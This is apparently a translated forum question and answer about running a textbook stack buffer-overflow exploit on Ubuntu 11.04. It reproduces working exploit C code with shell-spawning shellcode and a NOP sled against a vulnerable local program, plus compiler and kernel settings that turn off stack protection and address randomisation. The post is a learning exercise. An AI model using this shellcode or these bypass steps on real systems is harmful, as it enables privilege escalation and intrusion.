在Ubuntu 11.04中禁用堆栈碎片保护

我在2007年的MacBook上运行32位的Ubuntu 11.04,我刚开始学习缓冲区溢出漏洞。 我试图从书中运行示例程序,但是Ubuntu的安全措施使我无法成功执行缓冲区溢出。 这是我试图运行的代码:

#include <stdio.h> #include <stdlib.h> #include <string.h> char shellcode[]= "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68" "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89" "\xe1\xcd\x80"; int main(int argc, char *argv[]) { unsigned int i, *ptr, ret, offset=270; char *command, *buffer; command = (char *) malloc(200); bzero(command, 200); // zero out the new memory strcpy(command, "./notesearch \'"); // start command buffer buffer = command + strlen(command); // set buffer at the end if(argc > 1) // set offset offset = atoi(argv[1]); ret = (unsigned int) &i - offset; // set return address for(i=0; i < 160; i+=4) // fill buffer with return address *((unsigned int *)(buffer+i)) = ret; memset(buffer, 0x90, 60); // build NOP sled memcpy(buffer+60, shellcode, sizeof(shellcode)-1); strcat(command, "\'"); system(command); // run exploit free(command); } 

我想这段代码导致段错误,但是每次运行它时,都会退出错误“stack smashing detected”。 我试着用下面的选项编译(使用gcc):

 -fno-stack-protector -D_FORTIFY_SOURCE=0 -z execstack 

以各种组合,以及一起。 我也试过$ sysctl -w kernel.randomize_va_space=0然后重新编译,没有成功。

如果有人能够明白正确的方式来执行缓冲区溢出,Ubuntu的内置安全措施,将不胜感激

我对现在发生的事情有了更多的了解。 给定的代码构造一个缓冲区,然后将其传递给一个名为notesearch的程序,该程序存在缓冲区溢出漏洞。 我没有弄清楚如何禁用当前版本的Ubuntu的保护措施,但我试过的方法在我的Ubuntu 9.10虚拟机上工作。 也就是说,-fno-stack-protector作为gcc标志,当与sysctl kernel.randomize_va_space = 0配对时,允许在堆栈上执行shellcode的缓冲区溢出。 有点解决方法,但运行我的虚拟机很适合我,让我继续通过本书中的例子。 如果你有兴趣学习漏洞,这本书是一本好书。 这里是

你确定你正在传递-fno-stack-protector到正确的gcc调用吗? 给定的代码似乎没有缓冲区溢出。